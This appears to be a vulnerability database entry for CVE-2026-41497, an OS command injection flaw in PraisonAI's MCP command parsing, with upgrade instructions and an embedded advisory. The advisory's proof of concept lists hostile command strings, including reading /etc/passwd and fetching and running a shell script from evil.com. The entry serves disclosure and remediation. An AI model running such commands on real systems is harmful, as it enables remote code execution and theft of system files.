CVE-2026-41497: Praisonai PraisonAI Has An Incomplete Fix Vulnerability
CRITICALCVE-2026-41497 is a CRITICAL (CVSS 9.8) praisonai has an incomplete fix vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Praisonai libraries in the PyPI ecosystem. The issue involves praisonai has an incomplete fix for cve-2026-34935 - os command injection. Remediation is available by upgrading affected packages to version 4.5.149.
CVE-2026-41497 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-41497
To remediate this vulnerability, upgrade all affected Praisonai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install praisonai>=4.5.149
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show praisonai
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-41497, inspect your installed packages using pip:
pip show praisonai
Analyze the terminal output to locate any version of Praisonai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.149), your application is affected.
Note: The pip show praisonai command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Praisonai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-41497 Affected Praisonai Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
praisonai
|
PyPI |
< 4.5.149
|
4.5.149
|
References
Frequently Asked Questions
What is CVE-2026-41497?
Which Praisonai versions are affected?
What version fixes CVE-2026-41497?
Is praisonai affected?
What is the CVSS score of CVE-2026-41497?
What CWE is associated with CVE-2026-41497?
How can I check PyPI dependencies for CVE-2026-41497?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9qhq-v63v-fv3j",
"modified" : "2026-05-12T13:31:53Z",
"published" : "2026-04-17T22:23:50Z",
"aliases" : [ "CVE-2026-41497" ],
"summary" : "PraisonAI has an incomplete fix for CVE-2026-34935 - OS Command Injection ",
"details" : "### Summary\n\nThe fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution.\n\n### Affected Package\n\n- **Ecosystem:** PyPI\n- **Package:** MervinPraison/PraisonAI\n- **Affected versions:** < 47bff65413be\n- **Patched versions:** >= 47bff65413be\n\n### Details\n\nThe vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.\n\nThe fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.\n\nMalicious MCP server commands such as `python -c 'import os; os.system(\"id\")'`, `bash -c 'cat /etc/passwd'`, and `/bin/sh -c 'wget http://evil.com/shell.sh | sh'` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-34935 - PraisonAI command injection via parse_mcp_command()\n\nTests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654).\nThe pre-patch parse_mcp_command() performs NO validation on the executable or\narguments, allowing arbitrary command execution via MCP server commands.\n\nRepo: https://github.com/MervinPraison/PraisonAI\nPatch commit: 47bff65413beaa3c21bf633c1fae4e684348368c\n\"\"\"\n\nimport sys\nimport os\nimport importlib.util\n\n# Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit\nMCP_PATH = \"/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py\"\n\ndef load_mcp_handler():\n \"\"\"Load the real MCPHandler class from the vulnerable source.\"\"\"\n base_path = \"/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py\"\n\n spec_base = importlib.util.spec_from_file_location(\"features_base\", base_path)\n mod_base = importlib.util.module_from_spec(spec_base)\n sys.modules[\"features_base\"] = mod_base\n\n with open(MCP_PATH) as f:\n source = f.read()\n\n source = source.replace(\"from .base import FlagHandler\", \"\"\"\nclass FlagHandler:\n def print_status(self, msg, level=\"info\"):\n print(f\"[{level}] {msg}\")\n\"\"\")\n\n ns = {\"__name__\": \"mcp_module\", \"__file__\": MCP_PATH}\n exec(compile(source, MCP_PATH, \"exec\"), ns)\n return ns[\"MCPHandler\"]\n\n\ndef main():\n MCPHandler = load_mcp_handler()\n handler = MCPHandler()\n\n print(f\"Source file: {MCP_PATH}\")\n print(f\"Loaded MCPHandler from real PraisonAI source\")\n print()\n\n malicious_commands = [\n \"python -c 'import os; os.system(\\\"id\\\")'\",\n \"node -e 'require(\\\"child_process\\\").execSync(\\\"whoami\\\")'\",\n \"bash -c 'cat /etc/passwd'\",\n \"/bin/sh -c 'wget http://evil.com/shell.sh | sh'\",\n ]\n\n print(\"Testing parse_mcp_command with malicious inputs:\")\n print()\n\n all_accepted = True\n for cmd_str in malicious_commands:\n try:\n cmd, args, env = handler.parse_mcp_command(cmd_str)\n print(f\" Input: {cmd_str}\")\n print(f\" Command: {cmd}\")\n print(f\" Args: {args}\")\n print(f\" Result: ACCEPTED (no validation)\")\n print()\n except Exception as e:\n print(f\" Input: {cmd_str}\")\n print(f\" Result: REJECTED ({e})\")\n all_accepted = False\n print()\n\n if all_accepted:\n print(\"ALL malicious commands accepted without validation!\")\n print()\n\n with open(MCP_PATH) as f:\n source = f.read()\n\n has_allowlist = \"ALLOWED_COMMANDS\" in source or \"allowlist\" in source.lower()\n has_basename_check = \"os.path.basename\" in source\n has_validation = has_allowlist or has_basename_check\n\n print(f\"Has command allowlist: {has_allowlist}\")\n print(f\"Has basename check: {has_basename_check}\")\n print(f\"Has any command validation: {has_validation}\")\n print()\n\n if not has_validation:\n print(\"COMMAND INJECTION: parse_mcp_command() has NO command validation!\")\n print(\" - No allowlist of permitted executables\")\n print(\" - No argument inspection\")\n print(\" - Arbitrary commands passed directly to subprocess execution\")\n print()\n print(\"VULNERABILITY CONFIRMED\")\n sys.exit(0)\n\n print(\"Some commands were rejected - validation present\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_real`\n2. `cd /tmp/praisonai_real && git checkout 47bff654~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nparse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist.\n```\n\n### Impact\n\nAn attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement.\n\n### Suggested Remediation\n\nImplement a strict allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`) in `parse_mcp_command()`. Validate commands against `os.path.basename()` to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., `-c`, `-e` flags enabling inline code execution).",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "praisonai"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.5.149"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.5.148"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9qhq-v63v-fv3j"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34935"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41497"
}, {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368c"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-77", "CWE-78" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-17T22:23:50Z",
"nvd_published_at" : "2026-05-08T14:16:33Z"
}
}